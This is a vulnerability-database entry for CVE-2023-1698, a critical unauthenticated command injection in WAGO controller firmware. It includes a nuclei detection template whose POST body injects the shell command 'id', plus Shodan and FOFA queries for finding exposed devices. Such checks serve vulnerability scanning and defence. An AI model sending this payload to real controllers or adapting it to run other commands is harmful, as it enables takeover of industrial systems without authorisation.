HexBrain

Browse / CVEs / CVE-2023-1698

CVE-2023-1698· wago / compact controller 100 firmware· CWE-78

WAGO - Remote Command Execution

criticalseverity
9.8CVSS score
81.9%likelihood of exploitation, next 30 days
100%of all CVEs are less likely
Readycheck to confirm it

In multiple products of WAGO, a vulnerability allows an unauthenticated, remote attacker to create new users and change the device configuration which can result in unintended behavior, Denial of Service, and full system compromise.

Impact

Successful exploitation of this vulnerability can lead to unauthorized access, data leakage, and potential compromise of the target system.

Fix

Apply the latest security patches and updates provided by the vendor to mitigate this vulnerability.

How to confirm it

Send: POST /wbm/plugins/wbm-legal-information/platform/pfcXXX/licenses.php
Positive when: contains "\"license\":" and "\"name\":" and "uid=" and "gid=" AND status 200

Run it with nuclei: nuclei -id CVE-2023-1698 -u <target>. This check is not marked as verified by its authors.

The full check
id: CVE-2023-1698

info:
  name: WAGO - Remote Command Execution
  author: xianke
  severity: critical
  description: |
    In multiple products of WAGO, a vulnerability allows an unauthenticated, remote attacker to create new users and change the device configuration which can result in unintended behavior, Denial of Service, and full system compromise.
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized access, data leakage, and potential compromise of the target system.
  remediation: |
    Apply the latest security patches and updates provided by the vendor to mitigate this vulnerability.
  reference:
    - https://onekey.com/blog/security-advisory-wago-unauthenticated-remote-command-execution/
    - https://nvd.nist.gov/vuln/detail/CVE-2023-1698
    - https://cert.vde.com/en/advisories/VDE-2023-007/
    - https://github.com/codeb0ss/CVE-2023-1698-PoC
    - https://github.com/deIndra/CVE-2023-1698
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2023-1698
    cwe-id: CWE-78
    epss-score: 0.81911
    epss-percentile: 0.99655
    cpe: cpe:2.3:o:wago:compact_controller_100_firmware:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: wago
    product: compact_controller_100_firmware
    shodan-query:
      - html:"/wbm/" html:"wago"
      - http.html:"/wbm/" html:"wago"
    fofa-query: body="/wbm/" html:"wago"
  tags: cve2023,cve,wago,rce,vkev,vuln

http:
  - raw:
      - |
        POST /wbm/plugins/wbm-legal-information/platform/pfcXXX/licenses.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        {"package":";id;#"}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"license":'
          - '"name":'
          - 'uid='
          - 'gid='
        condition: and

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from